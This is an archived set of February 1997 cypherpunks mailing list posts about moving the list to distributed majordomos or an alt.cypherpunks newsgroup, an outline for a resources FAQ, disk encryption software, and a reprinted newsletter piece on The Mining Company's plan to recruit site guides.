In-Reply-To: <199702120140.RAA23826@songbird.com>
Message-ID: <3.0.1.32.19970211224603.00699d78@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote:

>We can coordinate our efforts. Actually, we can even have a mini
>mailing list for people who want to participate in the distributed
>cypherpunks experiment. If there is any interest, I can create such 
>a list.

Yes, this is a good idea. One of the proponents of the "many majordomos"
project apparently has plans to impose his own ideas about intellectual
property on the project, and this seems like a pretty serious thing for a
setup that's allegedly going to prevent censorship. We need a place to
discuss this.


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 11 Feb 1997 20:20:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Win '95 disk crypto...
Message-ID: <TCPSMTP.17.2.11.-9.22.54.2780269260.1515737@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Forwarded message:

 In> Subject: SOFT> Encrypted disks for Windows NT

 In> From: softwinter@post1.com
 In> Date: Mon, 10 Feb 1997 03:13:22 +0200 (IST)

 In> Soft Winter Corporation, February 10, 1997 released:
 In> Shade - strong encryption software for Windows NT.

 In> Shade allows you to create encrypted disk device inside a file.
 In> Such a device can then be formatted using any file system
 In> (like NTFS or FAT) and used as a regular disk. The only difference
 In> is that Shade will encrypt the data on every write operation
 In> and decrypt it on every read operation.

 In> To download  go to: http://softwinter.bitbucket.co.il

 In> Soft Winter Corporation,
 In> softwinter@post1.com


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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=0p9D
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 11 Feb 1997 20:29:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: List!  No Way: Creati
Message-ID: <TCPSMTP.17.2.11.-9.23.24.2780269260.1515739@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:attila@primenet.com to Harka <=-

 In> I vote we just set up a new majordomo with some additional
 In> antispam filters including knocking out exploding mail headers,
 In> etc. I would accept excluding non-members as long as we take the
 In> remailers which are listed with either JP or RL.

Were it possible to use Perry's PGPDomo, which would effectively
keep out at least the Spammers?

Perry? :)

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMv/y/zltEBIEF0MBAQEnBQf/UVcg/iFUtR3hMk2zrNwZmweqE4XA3cLy
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yN7tDOmfzvDfI4gRpohuc7ou3rMMlbjs/lZamJAV5iByE8Kh3/phcvOmb5u9zjWK
m/bcLsje39fLpIeMHL3y0jYf4Z5wyvb4dndBVeF+m50IguT9hVd3KZ4hza2XiKQr
zPkX1Y2uDW1vq9/m2Wd9PLxnio5hrbOuLHdVFzTUxcVBfnJjMB0rrexW3z/2KqJ8
4V0r3xZXqui5z6k55PQTrVZt9Hqb+zVDoDAAA/tzMfHpVU+MOnM3Xg==
=Jtwu
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Tue, 11 Feb 1997 14:31:56 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: NETLINK_IPSEC
In-Reply-To: <199702111411.GAA19349@toad.com>
Message-ID: <199702112231.XAA26149@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

> Has anyone tried IPSEC with the 2.1.x kernels?  Are there a logcation that
> describes the differences between 2.0.x and 2.1.x?  (I have not been able to
> find one...)  Then again, I have yet to find a list of what was fixed from
> kernel to kernel...  (Probibly in some directory of the tar file...)


Source 1:  ftp://ftp.shout.net/pub/users/mec/kcs

Source 2:  The patch files.  :-)


Regards,

Bryce, not a kernel hacker

PGP sig follows




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=ucy1
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Tue, 11 Feb 1997 22:27:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks-resources FAQ for alt.cypherpunks
Message-ID: <199702120614.AAA02312@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


I am under the assumption that alt.cypherpunks or
alt.privacy.cypherpunks or some such will come into existence shortly.

With that in mind, I have decided to create a FAQ of pointers to
resources on cypherpunk issues.  The goal is to help eliminate the
"What is PGP?" and other newbie-questions that are bound to come up
even more frequently in a newsgroup scenario.

A FAQ such as this has probably long been appropriate, but it didn't
really occur to me until just now.  Not being a cryptologist or
adequate coder, this is one way I feel I can contribute.  It's hard to
have discussions when people haven't even looked at the background
information before piping in.  I don't pretend that a FAQ can prevent
this, but it's worth a shot anyway.

I started typing away about two hours ago and came up with the
following.  It's pretty shaky since it's late and it's Mardi Gras.
Feel free to comment in public or private.  Please, Please, Please
make suggestions and provide relevant pointers.  Obviously, I will be
doing a lot of research over the next few weeks to fill in this very
bare outline.

If you disagree with this or feel its useless... fine.  Please tell me
and explain all your reasons why.  Besides, I'm doing it regardless.

Here's what I'm chewing on so far....
-----------------------------------------------------------------------
			Cypherpunks Resources FAQ
			     version 0.000000001

This document lists resources for readers interested in Cypherpunk
issues and goals.   

The primary intention of this document is to get new readers to the
group to explore the background issues which cypherpunks attempt to
address.  It also includes pointers to many common cryptographic
implementations and tools.  Furthermore, pointers and instructions for
various mailreaders are provided to help users filter out some of
Usenet's inevitable noise and glean the most useful information they
can from this newsgroup.

This FAQ does not attempt to explictly define who the Cypherpunks are
or answer questions about the philosophy.  That is an exercise for the
reader who utilizes the pointers within to find the answers on their
own.  After exploring these resources, the hope is that the reader
will become a more effective and insightful contributor to
alt.cypherpunks -- even if he/she is opposed to the goals of the
group.

This FAQ is propagated monthly to alt.cypherpunks.  It can also be
obtained be sending email with the subject and/or body "get cpunks
faq" to omegam@cmq.com.  When information in the FAQ is updated, I
will also post a "what's new" message for those who are interested in
reading additions/corrections without wading throught the entire FAQ
again.


-------*********------- Author's Note/Disclaimer ---------*********--------- 

I maintain this FAQ solely on a voluntary basis.  I am doing this
because I think it is necessary.

It would be contrary to the anarchic nature of the Cypherpunks to
attempt to call this an official FAQ of the Cypherpunks group.  Anyone
who disagrees with the editing decisions and pointer selections I have
made in this FAQ is free to.

What this means is that you are encouraged to send comments,
suggestions, corrections, new questions, and answers to me.  I may or
may not include them in future revisions of the FAQ.  I do ask that
somewhere in the subject of your mail redarding this FAQ you include
the text "(CFAQ suggest)", so procmail can file such comments
appropriately and I can address them in a more efficient manner.  If I
use your suggestion or answer to a question, I will attribute the
reference to you unless you request that I do not.

You are free to create your own Cypherpunks-resources FAQ if you don't
like mine.

- Scott
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________

-------*********--------*********---------********--------*********------
 
Premliminary Outline

Section 1 Introduction and General Information?
Q1.1 Does this newsgroup have a charter (No but, Tim's "official" charter.
Eric's note at end of original toad.com welcome message)
Q1.2 How did the group get started?  (Need a brief history of group as
well as any pointers to early history information and posts, also
include pointer to early wired article)
Q1.3 What do Cypherpunks want? (May's Cyphernomicon, CSUA Berkely
site, Others?)
Q1.4 What happened to the toad.com mailing list?  Are there archives?
(Brief explanation, quote Gilmore's message? point to the usual
archives?  Note: check and note if arhive site still prevents IE
usage)
Q1.5 Are there other groups besides Cypherpunks who share these goals.
(point to Epic, EFF, etc sites which all have good archival
information on political crypto causes even if many cpunks have strong
disagreement with some of these groups.  also point to
Cryptography@c2.net and coderpunks lists)
Q1.6 What have the cypherpunks done to advance their goals other that
merely talk about them?(Pointers to anon remailers, Linux-IPSEC
project, Mykotronx scandal--really need a good pointer here, more.
Mention of course that many who call themselves cypherpunks are
professionals in the computer security field.)
Q1.7 Im interested, what can I do?  Pointers to current projects, i
distributed DES crack
Q1.8 Quick n' Dirty Glossary: ie. GAK, TLA, etc.

Section 2 Crypto in Action
Q2.1 Pointers galore to PGP resources.
Q2.2 Point to Schneir's site and include biblio info on Applied Crypto
Q2.2 Point to cryptlib toolkits
Q2.3 RSA, of course.
Q2.4 pointers to disk encryption utilities for various platforms
Q2.5 pointers to Raph's remailer site and other remailer info sites.
remailer software.  software to make remailer usage simpler
(premail, PIdaho)
Q2.6 pointers to the various digital cash purveyors and to
explanations of how Chaumian digital cash works.
Q2.7 pointers to Apache-SSL site and info, Stronghold, 
Q2.8 SSH
Q2.9 Pointers to sites describing how various types of crypto actually
work
Q3.0 But how do I know if it's good crypto?  Point to snake Oil FAQ?
Schneir's essay.  Use your brain.

Section 3 Crypto and the Law
Q3.1 Froomkin's site obviously.. John Young's also obvious.  EFF has a
good archive too.  Karn case, others.
Q3.2 Pointers to government's current position on crypto. ie. EAR, ITAR
Q3.3 Pointers past Clipper failure info.

Section 4 Who's who & (recent) History of Crypto.
Q4.1 A couple of good general history sites exist. also Codebreakers
bibliographical reference.
Q4.2 Enigma is a common question, point to relevant sites.
Q4.3 Whit Diffie--some interviews etc are available
Q4.4 Bruce Schneir same
Q4.5 Phil Z and PGP history and interviews.
Q4.6 Jim Bizdos
Q4.8 Dorothy Denning (go to include the enemy too)
Q4.7 Pointers to news on breaks of ciphers
Q4.8 NSA site.
(Others?  I'm getting sleepy, names escaping me at the moment)

Question 5 Help! I want to know more but I'm drowning in noise
Q5.1 Point to filtered lists in existence
Q5.2 news2mail gateways as source of list.  mail filtering tools come
into good use.  point to a bunch of them.
Q5.3 Point to kill-file info for various newsreaders and platforms.
Possibly include generic examples from own experience and list user's
experience who wish to contribute.  Specific names will be ommitted of
course.  Also score information for those interested
Q5.4 point to information on other utilities and verification-type schemes



_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 11 Feb 1997 21:24:41 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Germany Versus Scientology
In-Reply-To: <Pine.BSI.3.91.970211162658.4364B-100000@kizmiaz.dis.org>
Message-ID: <0n0J_f200YUg0KazU0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Evil se7en <se7en@dis.org> writes:
> I have posted a rather lengthy story about Germany's war against the 
> Scientologists. It was long enough to preclude mailing it directly to the 
> lists, so I have put it on my web site. You may find it at:
> 
>         http://www.dis.org/se7en/
> 
> with the link being directly under the large "X." I decided to post it 
> for the reasons that I know several people who suffered directly at the 
> hands of the Scientologists after trying to infiltrate their organization 
> via the Internet. These people will recieve this message due to this 
> posting. Enjoy.

Heh, the top German Gov't anti-$cientoligist:
"The state is obliged to protect its citizens from totalitarian
 organizations."

I just love this whole thing. It's like two neighborhood bullies going
at it in the school yard. It doesn't matter who wins, as long as it's
long and bloody.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 11 Feb 1997 21:49:43 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Cocksucker Gilmore's Big Adventure
In-Reply-To: <199702120040.SAA06406@wire.insync.net>
Message-ID: <0n0JV2200YUg0Kakg0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Eric Cordian <emc@wire.insync.net> writes:
> A Gilmore Supporter writes:
> 
> > You know, I was vaugley offended by John's comments about whiny
> > cypherpunks, until I read this message and realized who he was talking
> > about. John, thank you for your years of service to the cypherpunk
> > community 9such as it is), 
> 
> John Gilmore's only contribution to Cypherpunks has been to provide
> a box.  I can't even remember the last time he contributed something of
> interest to the list, and he certainly ranks as one of the least
> frequent contributors of substance over the years. 

You have obviously never administered a Unix system. Just runing a
machine with a few users requires some effort, I've done it. Managing
a mailing list, especially one this immensly huge, has got to be one
of the bitchliest things on earth. If you think running a majordomo
for cypherpunks is just a matter of "providing a box," why don't you
try it?

> > and Sandy, thanks for your well-intentioned
> > (but doomed from day one) efforts to take some resopnsibility for our
> > current mess. It's too bad things had to end in such a pissy way, but
> > anyone who wants to dole out blame should realize that in an anarchy,
> > all members are responsible for the maintainence of freedom.
> 
> Sandy, unlike Herr Gilmore, has been a major contributor of substance
> to the list since its inception, and hopefully he will continue to be
> in the future.  The idea that he should moderate the list was of
> course a silly one, but for reasons which do not reflect badly on him
> in the least.  
> 
> What Mr. Blatz fails to realize is that the "problem" which certain
> people tried to solve never really existed.  The quality of the
> Cypherpunks list is determined solely by the amount of signal, not
> by the amount of noise, unless one is getting ones feed of the 
> list via 1200 baud long distance UUCP.  

RTFM well-intentioned. And please excuse my lack of gratuitous "scare
quotes." (There, is that better?) List members complained. John said
there was a problem, Sandy belived him and foolishly volunteered to
"moderate" (enough scare quotes for you?) the list.

Maybe John has grown into a crumudgen after his years of taking care
of toad.com, but he's all but out of the picture now. At least he had
the common sence to realize that he was not able to run the list in an
appropriate manner and force a carthises. Better that then to let the
list die out from continuing moderation.

> The notion that the list was ever threatened by the humour of Dr. 
> Vulis, or the one line bot-spammed insults about Tim May's heritage,
> is an absurd one.  No one should have had any problem ignoring such
> material, and only a politically naive fool would buy this as the
> excuse for the blatant usurpation of the list by Gilmore and crew. 

Agreed. I do, after all, read the "unfiltered" list. But you have no
right to tell Mr. Gillmore what to with his machine and his time.
Perhaps 10 days is not enough to get a smooth transition to another
system, but it does have the nice effect of moving people to action.
You could take a look at the literature on social loafing for a full
explanation.

Cordially,
Jeremiah Blatz

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 23:14:37 -0800 (PST)
To: gbroiles@netbox.com (Greg Broiles)
Subject: Re: List for discussing many majordomos
In-Reply-To: <3.0.1.32.19970211224603.00699d78@mail.io.com>
Message-ID: <199702120659.AAA00679@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Greg Broiles wrote:
> At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote:
> 
> >We can coordinate our efforts. Actually, we can even have a mini
> >mailing list for people who want to participate in the distributed
> >cypherpunks experiment. If there is any interest, I can create such 
> >a list.
> 
> Yes, this is a good idea. One of the proponents of the "many majordomos"
> project apparently has plans to impose his own ideas about intellectual
> property on the project, and this seems like a pretty serious thing for a
> setup that's allegedly going to prevent censorship. We need a place to
> discuss this.

I have acreated a mailing list, cypherpunks-hosts@algebra.com,  for
people interested in participating in the multi-homed cypherpunks list.
You can subscribe to cypherpunks-hosts by talking to
majordomo@algebra.com.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carol Anne Cypherpunk <carolann@censored.org>
Date: Tue, 11 Feb 1997 23:19:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto: Job Opportunity
Message-ID: <3.0.16.19970212011421.2b174ef4@mailhost.primenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The Mining Co. (http://www.miningco.com) is looking
for "siteguides".

There will surely be a guide needed for cryptography.

Pay is commensurate with hit volume, but it isn't too shabby,
at about 3K per month after about a year.

There is the original posting from Sideman's Online Insider following
this post to acquaint you with the particulars.

Good Luck to whomever from this list (for I'm sure someone will) 
takes the aformentioned position. I would, but I'm applying for a 
different site in the Culture/Beliefs section.

On one other note, the PGP Plugin for Eudora is MARVELOUS!
THIS I can even teach a clueless newbie!

Carol Anne Cypherpunk
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==========================================================================
                Seidman's Online Insider - Vol. 4, Issue 6
     Brought to you by NetGuide Magazine< http://www.netguide.com >
==========================================================================

Copyright (C) 1997 Robert Seidman and CMP Media Inc.  All rights reserved.
May be reproduced in any medium for noncommercial purposes as long as
attribution is given.


Kurnit is Back and Mining the Internet
======================================

  "Like Arnold, he'll be back. I've been listening to what
he has to say for a long time. If you listen to him, you'll
hear how the Web is the way and that the proprietary services
are a dead model. If you listen between-the-lines, you'll hear
a modified version of that vision. A best of both worlds
vision. You'll hear that he wants to develop easy to use,
functional services on the Web. Like easy to use chat.
Like easy to use bulletin boards.

Like AOL, but on the Web."

-Thoughts on Scott Kurnit in a piece regarding the failed MCI/News Corp
joint venture from Seidman's Online Insider for the Week Ending February
9, 1996.

Kurnit's back, and almost exactly a year to the day since the clip above
was written.  On Monday February 10, the new company Kurnit founded, The
Mining Company, will announce their plans to basically build AOL on the
Web.  I'm not sure about the choice of February 10 as the day to announce
this.  It is a day with special significance for me.

On February 10, 1972 I had a dilemma.  I was hungry for breakfast and
wanted some cereal.  I had cereal, but no milk.  So I called my mom at
work and asked her if I could run across the street to the convenience
store.  My mom said no because "the street" was more like a highway and
because I was 9 years old.

"You'll get hit by a car," my mom said.  As you might imagine, I went
anyway.  And as you also might have guessed by now my mother was right,
except no car was good enough for me.  I had to face off with a
ten-wheeler (it was an Amoco < http://www.amoco.com > Oil tanker.)
Twenty-two stitches in the head, a healed broken wrist and 25 years later,
I'm still hanging in there.  I don't remember anything about it, including
seeing the truck.  I've always wondered if I was pushed.  What I do
remember was waking up in the ambulance with quite a headache.  But since
then, seeing how I lived and all, I've always viewed February 10 as a GOOD
day.

The Mining Company may not be a truck setting its sights on running down
AOL or even other Web content aggregators (even to some degree NetGuide
Live), but it is an interesting model.

*What It Is*

In effect, The Mining Company wants to be the biggest online service on
the Web, ultimately offering 4,000 special-interest areas in an
integrated, easy-to-use interface.  Whether you call these special areas
channels, departments or categories -- it's all the same thing.  Kurnit
wants to capitalize on the fact that it takes too long to find what you
want on the Net.  He wants to put it all in one place with one consistent
interface so that you can easily find what you're looking for and interact
with those who have common interests.

Each "channel" will have content, bulletin boards, online chats, links to
other good stuff on the Web in the particular area of interest.  You'll
also be able to search a site via Verity's search engine or search the
entire Net via Digital's Alta Vista.

While they are currently testing another chat product, they have decided
to move to the iChat chat client.

In the test system I had access to, the bulletin board system was very
easy to use, but painfully slow.  I'll cut them some slack since they are
still in beta, but users will need to be able to move around the boards
quicker than what I experienced or they will likely be put off.

*And Now for Something Really Different*

When Kurnit first ran the vision by me a couple of weeks ago, I said "To
me it seems like this is..."

"AOL on the Web," Kurnit interrupted.

"Not exactly," I said, "It's like AOL on the Web with a hint of Amway
thrown in."

One of the problems with providing editorial context for the Net is that
it winds up costing a lot of money.  Kurnit's previous venture with
MCI/Newscorp was iGuide.  They built a great guide to the Net, but
ultimately they scaled it back to just become a guide to entertainment on
the Net.  You've read the reports all over the place about scaled back
editorial efforts and rightsizing.  Good editorial doesn't come cheap, at
least not when done traditionally.

The Mining Company isn't going after the traditional model of hiring a
bunch of full-time editors and bringing them in house.  They plan to use
folks already out there on the Net.

Once upon a time while I was at IBM, I helped recruit Chris Locke, of
MecklerWeb notoriety away from the MCI/News Corp effort Kurnit was
running.

While there are many things Chris and I do not agree on, I was very much
in synch with Chris when it came to the idea of communities of interest on
the Web.  Give remote people the tools to produce the content, Locke would
say, and you'd be able to easily build hundreds if not thousands of
communities of interest very inexpensively.  Locke who is now with a
hardware company in Colorado will no doubt take interest in what Kurnit
and the gang at The Mining Company are up to, because they are all about
providing the tools to produce the communities of interest inexpensively!
If your chosen as one of its forum moderators (they call them Guides),
you'll be given access to all the tools you need to build a site on the
service.

Now you may be thinking, "Ah, GeoCities does that already!"  GeoCities
< http://www.geocities.com > gives free web pages and is organized around
certain communities of interest.  But their homesteader program is not
about setting up an all-encompassing online service.  And while it is a
great place to create a free web page, there's no real business model for
the person creating the page.  If you build a great site there, GeoCities
gets the revenue on all the traffic that goes there.  Because it has a lot
of traffic, GeoCities can send some traffic to your Web site.  But in the
end, the model for GeoCities is one to give you a free page on the Web.
This is good for you if you're just in it for the fun of it, and good for
GeoCities too.   I think GeoCities is great, but if I am looking for
something in particular, I wouldn't think to look there first.  The Mining
Company wants to create a space that no matter what it is you hope to
find, you'll look there first.

*They Call them Guides*

The Mining Company wants to create quality communities of interest.  And
for every community (channel) created, there will be a unique
moderator/editor.  The Mining Company calls them Guides.  It's looking for
more than just a few quality folks to become Guides and form their
service.  Starting Monday, they will begin accepting applications to
become Guides on the  service. There could be multiple sites about the
same thing during the start-up phase, but  ultimately it will be whittled
down to one Guide/site per special interest.

To ensure quality, they'll be a review committee set-up to make sure
quality standards are up to snuff, including some folks from the community
of Guides.  Kurnit believes between that, the natural inclination for
other Guides to point out areas of, um, weakness and user feedback,
they'll have a good handle on quality.

Additionally, there will be some in-house editorial to oversee major
groupings (like Technology, Personal Finance, etc.)

"The Mining Company is dedicated to serving the needs of its Guides and
users," said Kurnit.  "We give the tools and support to the Guides to help
users find what they want, trust what they find, and connect them with the
most valuable sites on the Net and with other interesting people."

"This model is now only possible because of the team effort at The Mining
Company to integrate the latest improvements in Internet technology and
the newly identified needs of users and independent Web producers," adds
Kurnit.


*Getting the Guides*

Will it be easy to get the ultimately thousands of Guides necessary to run
this service?

"How much talent is out there," asks Kurnit.   "We look at the thousands
of pages out there on AOL, GeoCities, etc., and the rest of the Internet,"
Kurnit said.  "All we think we need to get is 2%-3% of the talent pool."

In certain areas it will likely be very competitive.  Everyone will want
to get there first.

"First there's the application process," said Scott Kurnit in a phone
Interview.  "You're going to show us your bio and you're going to write
some columns so we can see your writing style.  If you make the grade, you
make it to our orientation process," Kurnit said.

The Mining Company places its focus on training the Guides and giving them
the tools they need to make a site.   If you "make the grade" you
basically have 3 weeks (2 of which are the "orientation") to get a site
up-and-running on the service.

"The fact is, if you can't get it done in a reasonable time then you
probably don't have the dedication or time to get it done," says Kurnit.

Just how much time will it take for Guides to put together sites?  "We're
not looking for anyone to quite their day jobs," said Kurnit.  "We're
looking at about a 10 hour a week commitment to produce the sites."  But
Kurnit also says  that though there will be only one Guide per site, the
Guides will be able to line up assistants.



*What's in it for You?*

So why The Mining Company then?   Why not GeoCities or doing it on your
own?  Well, there are a couple of reasons.  One is the promise of
exposure, the other is the promise of MONEY.

There is a model here, especially if you're not looking to quit your day
job.  While I imagine it will have to shift its model somewhat, there are
some opportunities to make a buck or two for the Guides.  It might not be
much money, but if you're already throwing 10 hours or so a week towards
maintaining a Web page that lines up around a special interest or two, any
money is better than what you're probably getting now.

Basically, The Mining Company is looking to allocate 40% of all
advertising revenues back to the Guides themselves.  The real pool here is
30%, with the additional 10% being used for things like bonuses.  So, how
does it work?

Kurnit is looking to get quickly to a million or so page views a day (each
of the pages I saw had 2 advertisements.  By the end of the year, Kurnit
hopes to be in the 10 million - 15 million page views.  It sounds a little
ambitious, but if they're successful lining up quality Guides, it could
become a reality.  So let's say they're getting 5 million page views per
day.  Based on what I saw, that would net out to be about 300 million ads
running per month.

Lets say ad sales average out to $30/1000 (a $30 CPM).  Based on that,
you're looking at a cool $9 million a month in advertising revenue.  So
$3.6 million is in the Guide pool, but only $2.7 million is for the true
revenue split.  Now, let's say you're a Guide who got one-tenth of 1
percent of The Mining Company's overall traffic. You'd make a cool $2,700
a month for your efforts.  If you happen to be a guide in one of the
"killer categories" whether it be a parents site or a kids site or a
computing site, it's not unreasonable to think that you might get as much
as 1%.  That would be $27,000 per month!!

Some people will balk at the 40%-60% share, but I think that's pretty
fair.  Where I'd predict the model will have to change, however, is in the
cases where the cost per thousand (CPM) view being charged the advertisers
is much higher than the average of the overall site.  If the overall site
average is $30/1000, but your site is generating a CPM of around $90,
you're probably not going to want to be paid based on averages.

*Will it Work?*

In short, I think this could work quite nicely.  The premise of a front
door that links to content that is all packaged with a consistent look and
feel is a winning premise.   With AOL's recent move to flat-fee, one big
advantage a Net service has over a proprietary model like AOL is the
ability to create content far more easily and inexpensively. Much coverage
has been given this week regarding AOL beginning to charge its partners in
its Company Connection a $55,000 fee each year to participate.

Some in AOL are saying its reasonable since the areas amount to "free"
advertising for the companies, but realistically speaking, I think it is a
maintenance fee AOL is charging to offset the cost of dealing with these
forums.  I think it is reasonable to expect to see AOL begin to charge
similar fees for any content that isn't "must have" for them, now that the
hourly charges that once subsidized these areas are gone.  There is a cost
of throwing in-house support at these online areas and much of the cost is
due to the fact that it's a proprietary system.  Setting up new "forms"
and new looks just isn't easily accomplished by the content providers
themselves.  So, the timing may be good for The Mining Company.

There are at least two tricks Kurnit and Co. must pull off.  First, they
have to get the Guides.  That starts on Monday, when they begin accepting
applications.  The next will be to market the site in a way that gets
people to the front door.   Internet of the people, for the people and by
the people, it has a nice ring to it...  I'm sure we'll hear more about
this when the site officially launches in April.

For more info, check out < http://www.miningco.com >, sometime on Monday,
they will make a lot more information available there than the "coming
soon" that was there as of this writing.
Member Internet Society  - Certified BETSI Programmer  -  Webmistress
***********************************************************************
Carol Anne Braddock (cab8)  carolann@censored.org   206.42.112.96
My Homepage
The Cyberdoc
***********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trust Me <trustme@dev.null>
Date: Tue, 11 Feb 1997 23:35:24 -0800 (PST)
To: Anil Das <das@razor.engr.sgi.com>
Subject: Re: whois cypherpunks.org ?
In-Reply-To: <9702111643.ZM18@razor.engr.sgi.com>
Message-ID: <33018CAD.2612@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das wrote:
> Both cypherpunks.org and cypherpunks.com are registered by one
> Elias M. Levy in Ft. Meade, MD. I haven't seen his name on the list
> though. Anybody knows more about this?

Anil,
  Just because Ft. Meade, MD, is the home of several billion government
subversive organizations is no reason for suspicion.

Trust Me





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trust Me <trustme@dev.null>
Date: Wed, 12 Feb 1997 00:20:00 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Network of majordomos
In-Reply-To: <3.0.32.19970211162813.006de930@mail.io.com>
Message-ID: <330190FF.232B@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> I sent a proposal to alt.config last night and intend to newgroup 
> alt.cypherpunks in a week or so

  Is this a follow-up to your suggestion to kill the list?
  The list that you stated you were leaving because you don't
think it's worthy of subscribing to?
  Is there any particular reason you want to redirect the future
of a list that you want killed and no longer want to subscribe to?

  Just asking.

Trust Me (<--shouldn't this be 'your' sig?)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 12 Feb 1997 00:21:39 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: List! No Way: Creation of "alt.cypherpunks"
In-Reply-To: <v03007800af264c8cba96@[207.167.93.63]>
Message-ID: <0n0Lk8200YUd18lWc0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"Timothy C. May" <tcmay@got.net> writes:
> At 7:11 PM +0000 2/11/97, Attila T. Hun wrote:
> >    I vote we just set up a new majordomo with some additional antispam
> >    filters including knocking out exploding mail headers, etc. I would
> >    accept excluding non-members as long as we take the remailers which
> >    are listed with either JP or RL.
> 
> This is a suggestion I have long thought to be a good one. Only allow posts
> from list subscribers, and make a special exception for remailers by adding
> them to the approval list. Figure if a spammer is smart enough to know what
> a remailer is, at least see her traffic for a while. Drop the inclusion of
> remailers if volume is too high.

A couple of "me too"s:
Low volume spam via remailers increases the strength of the remailer
net. Yay!
Not allowing non-subscribers to post is not a problem is the mailing
list is linked to the usenet version. The people who read/post to
cypherpunks via a newsgroup interface now can just use the real
newsgroup. Also, people who don't get alt.* and don't want to use
dejanews can sub to the list version.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Aaron D. gifford" <agifford@infowest.com>
